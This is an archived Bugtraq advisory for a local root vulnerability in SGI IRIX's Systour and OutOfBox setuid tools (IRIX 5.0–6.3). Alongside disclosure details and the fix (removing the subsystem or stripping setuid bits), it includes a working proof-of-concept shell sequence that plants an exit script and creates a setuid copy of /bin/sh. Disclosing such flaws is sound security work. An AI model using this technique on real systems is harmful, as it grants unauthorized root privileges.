IRIX Systour and OutOfBox Vulnerabilities

BID:470

Info

IRIX Systour and OutOfBox Vulnerabilities

Bugtraq ID: 470
Class: Access Validation Error
CVE:
Remote: No
Local: Yes
Published: Oct 30 1996 12:00AM
Updated: Oct 30 1996 12:00AM
Credit: This vulnerability was discovered by Tun-Hui Hu <[email protected]>, and reported to the Bugtraq mailing list on October 30, 1996.
Vulnerable: SGI IRIX 6.3
SGI IRIX 6.2
SGI IRIX 6.1
SGI IRIX 6.0.1 XFS
SGI IRIX 6.0.1
SGI IRIX 6.0
SGI IRIX 5.3 XFS
SGI IRIX 5.3
SGI IRIX 5.2
SGI IRIX 5.1.1
SGI IRIX 5.1
SGI IRIX 5.0.1
SGI IRIX 5.0
Not Vulnerable: SGI IRIX 6.5
SGI IRIX 6.4

Exploit / POC

IRIX Systour and OutOfBox Vulnerabilities

$ rbase=$HOME; export rbase
$ mkdir -p $HOME/var/inst
$ echo "dryrun: true" > $HOME/.swmgrrc
$ cp -p /bin/sh /tmp/foobar
$ printf '#\!/bin/sh\nchmod 4777 /tmp/foobar\n' > $HOME/var/inst/.exitops
$ chmod a+x $HOME/var/inst/.exitops
$ /usr/lib/tour/bin/RemoveSystemTour
Executing outstanding exit-commands from previous session ..
Successfully completed exit-commands from previous session.
Reading installation history
Checking dependencies
ERROR : Software Manager: automatic installation failed: New
target (nothing installed) and no distribution.

Solution / Fix

IRIX Systour and OutOfBox Vulnerabilities

Solution:
Removal of this subsystem is recommended. To remove:
/usr/sbin/versions -v remove systour OutOfBox

Alternatively, the affected binaries can have their setuid bits removed.
# /bin/chmod u-s /usr/lib/tour/bin/RemoveSystemTour
# /bin/chmod u-s /usr/people/tour/oob/bin/oobversion

Documentation on this problem is available from SGI at http://support.sgi.com

References

IRIX Systour and OutOfBox Vulnerabilities

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